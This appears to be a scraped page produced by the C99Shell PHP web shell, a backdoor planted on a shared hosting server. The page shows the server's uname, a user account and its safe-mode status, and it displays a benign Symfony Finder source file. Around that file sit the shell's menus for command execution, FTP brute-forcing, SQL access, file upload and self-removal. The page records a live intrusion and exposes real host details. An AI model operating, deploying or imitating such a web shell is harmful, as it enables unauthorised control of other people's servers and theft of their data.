!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php55/usr/share/pear/Symfony/Component/Finder/Shell/   drwxr-xr-x
Free 294.79 GB of 429.69 GB (68.61%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Shell.php (1.88 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Finder\Shell;

/**
 * @author Jean-François Simon <contact@jfsimon.fr>
 */
class Shell
{
    const 
TYPE_UNIX    1;
    const 
TYPE_DARWIN  2;
    const 
TYPE_CYGWIN  3;
    const 
TYPE_WINDOWS 4;
    const 
TYPE_BSD     5;

    
/**
     * @var string|null
     */
    
private $type;

    
/**
     * Returns guessed OS type.
     *
     * @return int
     */
    
public function getType()
    {
        if (
null === $this->type) {
            
$this->type $this->guessType();
        }

        return 
$this->type;
    }

    
/**
     * Tests if a command is available.
     *
     * @param string $command
     *
     * @return bool
     */
    
public function testCommand($command)
    {
        if (
self::TYPE_WINDOWS === $this->type) {
            
// todo: find a way to test if Windows command exists
            
return false;
        }

        if (!
function_exists('exec')) {
            return 
false;
        }

        
// todo: find a better way (command could not be available)
        
exec('command -v '.$command$output$code);

        return 
=== $code && count($output) > 0;
    }

    
/**
     * Guesses OS type.
     *
     * @return int
     */
    
private function guessType()
    {
        
$os strtolower(PHP_OS);

        if (
false !== strpos($os'cygwin')) {
            return 
self::TYPE_CYGWIN;
        }

        if (
false !== strpos($os'darwin')) {
            return 
self::TYPE_DARWIN;
        }

        if (
false !== strpos($os'bsd')) {
            return 
self::TYPE_BSD;
        }

        if (
=== strpos($os'win')) {
            return 
self::TYPE_WINDOWS;
        }

        return 
self::TYPE_UNIX;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0998 ]--